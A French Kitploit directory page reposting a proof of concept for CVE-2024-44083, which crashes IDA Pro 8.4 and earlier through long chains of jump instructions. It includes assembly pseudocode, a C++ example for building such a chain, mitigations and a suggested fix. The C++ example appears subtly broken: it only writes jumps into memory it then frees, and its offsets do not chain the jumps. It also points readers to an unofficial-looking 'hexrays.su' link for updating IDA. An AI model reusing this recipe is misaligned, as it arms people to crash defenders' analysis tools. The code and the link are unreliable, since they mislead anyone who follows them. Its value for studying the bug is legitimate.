Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-44083 — mon CVE-2024-44083 PoC. | Kitploit
Outils/GitHubGitHub/dynamicx64/cve-2024-44083
Analyse des VulnérabilitésExploitationRétro-ingénierieFuzzingAnalyse de BinairesApprentissage et Éducation
GitHubdynamicx64/cve-2024-44083

CVE-2024-44083

mon CVE-2024-44083 PoC.

Voir le dépôt
1il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-44083

les dépôts PoC originaux ont été supprimés (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme) donc les voici. j'ai pensé les recréer pour ceux qui veulent comprendre comment ça fonctionne ou tester leur configuration.

IDA Pro ≤ 8.4 plante lors de l'analyse de binaires contenant des chaînes de sauts excessives.

le bogue

ida64.dll ne limite pas la profondeur lorsqu'il suit des chaînes de sauts. donc si vous avez un binaire avec des milliers de sauts liés aboutissant au point d'entrée, IDA se tue tout seul.

champvaleur
CVECVE-2024-44083
affectéIDA Pro ≤ 8.4
composantida64.dll
CWECWE-770 (épuisement des ressources)
impactcrash (DoS)

comment ça marche

l'idée est simple, créer une section remplie de sauts qui renvoient vers d'autres sauts

root@kitploit:~
; pseudocode bien sûr

section .text

; des milliers de ceux-ci
jump_0:
    jmp jump_1
jump_1:
    jmp jump_2
jump_2:
    jmp jump_3
; ... continuer ...
jump_9999:
    jmp payload

payload:
    call _start    ; ceci crée la référence croisée qui casse tout

_start:
    ; IDA essaie de résoudre tous les sauts pointant ici
    ; boum, crash
    ret

IDA essaie de suivre et de tracer tous ces sauts en construisant des références croisées, et avec suffisamment de sauts, il abandonne et plante.

faire vous-même (exemple)

si vous vouliez créer quelque chose comme ça en c++, vous feriez ceci :

root@kitploit:~

#include <windows.h>
#include <cstring>

// l'idée est de générer une tonne d'instructions de saut
// qui s'enchaînent et finissent par atteindre le point d'entrée
void generate_jump_chain() {
    // allouer de la mémoire exécutable pour notre chaîne de sauts
    unsigned char* code = (unsigned char*)VirtualAlloc(
        NULL,
        10000 * 5 + 10,  // 10 000 sauts × 5 octets + un peu de marge
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!code) return;
    
    int offset = 0;
    
    // créer 10 000 sauts chaînés
    for (int i = 0; i < 10000; i++) {
        // écrire l'instruction JMP rel32 (E9 xx xx xx xx)
        code[offset] = 0xE9;  // opcode JMP
        
        // calculer le déplacement relatif vers le prochain saut (5 octets plus loin)
        int32_t rel = 5;
        
        // copier le déplacement relatif sur 4 octets
        memcpy(&code[offset + 1], &rel, 4);
        
        offset += 5;
    }
    
    // le dernier saut crée une référence circulaire
    // revenir 5 octets en arrière pour créer une boucle infinie
    code[offset] = 0xE9;
    int32_t rel = -5;
    memcpy(&code[offset + 1], &rel, 4);
    
    // vous pouvez aussi retourner une valeur pour faire plus crédible
    offset += 5;
    code[offset] = 0xC3;  // ret
    
    // c'est le motif qui fait planter IDA :
    // 10 000 sauts → saut auto-référentiel → IDA se bloque
    // pas de limite de profondeur dans la récursion → débordement de pile → plantage
    
    // nettoyage
    VirtualFree(code, 0, MEM_RELEASE);
}

en gros, vous écrivez juste un tas d'instructions JMP enchaînées. Quand IDA essaie d'être intelligent en les analysant, il manque de pile/mémoire.

le correctif

si vous restez sur une ancienne version d'IDA :

  1. désactivez l'auto-analyse avant d'ouvrir des fichiers suspects

    • cliquez sur le cercle jaune/vert dans la barre d'outils pour le désactiver
    • ou Options → Général → Analyse → décochez "Activé"
    • explorez manuellement d'abord, puis réactivez si ça semble sûr
  2. limitez l'analyse des sections suspectes

    • clic droit sur la section → Modifier le segment
    • modifiez le type de segment ou les permissions pour empêcher l'analyse du code
    • ou supprimez carrément le segment si vous n'en avez pas besoin

ce que hex-rays devrait faire :

root@kitploit:~
// pseudocode

#define MAX_JUMP_DEPTH 1000

void analyze_jumps(address_t addr, int depth) {
    if (depth > MAX_JUMP_DEPTH) {
        warn("chaîne de sauts trop profonde. échec.");
        return;  // ne pas planter, juste s'arrêter
    }
    
    address_t target = get_jump_target(addr);
    if (target) {
        analyze_jumps(target, depth + 1);
    }
}

littéralement, ajoutez juste une limite de profondeur, c'est tout.

références

  • NVD
  • hexrays.su <-- pour mettre à jour votre ida

avertissement

à des fins éducatives uniquement, ne faites pas n'importe quoi.

Télécharger l’outil